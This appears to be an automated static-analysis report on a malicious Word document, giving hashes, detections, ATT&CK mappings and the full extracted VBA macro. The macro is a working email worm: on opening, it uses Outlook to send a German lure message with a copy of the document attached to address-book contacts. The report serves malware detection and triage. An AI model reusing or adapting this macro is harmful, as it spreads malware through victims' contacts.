Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e8f8c86fdfdd5c5e…

MALICIOUS

Office (OLE)

32.0 KB Created: 2002-06-07 16:23:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 0a6cb7afae67a3985f68efae963ac1f2 SHA-1: 5c403eccb6f511ea7e5e82fe4a2c7cfa87f18078 SHA-256: e8f8c86fdfdd5c5edb1e8c1f672fedb45d34eed8bad2447fa7f4227e6b6b5444
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros that are automatically executed upon opening the document via the Document_Open subroutine. This script leverages Outlook to send emails containing the document as an attachment to contacts harvested from the user's address book. The ClamAV detection indicates this behavior is associated with a known dropper agent.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6397287-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6397287-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 993 bytes
SHA-256: b7d49bf4b8fbcde4fcf2a373c8712d1efbec2b8dce77ffc8f5439aa00497559c
Detection
ClamAV: Win.Worm.VBS-213
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim outl, mpnm, ofs
Set outl = CreateObject("Outlook.Application")
Set mpnm = outl.GetNameSpace("MAPI")
mpnm.Logon "profile", "password"
For y = 1 To mpnm.AddressLists.Count
Set adbk = mpnm.AddressLists(y)
x = 1
Set ofs = outl.CreateItem(0)
For oo = 1 To adbk.AddressEntries.Count
td = adbk.AddressEntries(x)
ofs.Recipients.Add td
x = x + 1
If x > 50 Then oo = adbk.AddressEntries.Count
Next oo
ofs.Subject = "Nachricht von " & Application.UserName
ofs.Body = "Anbei wie besprochen die Liste"
atti = ActiveDocument.FullName
atti = Mid(atti, 1, Len(atti) - 4)
atti = atti & "_2.doc"
ofs.Attachments.Add atti
ofs.Send
td = ""
Next y
mpnm.Logoff

End Sub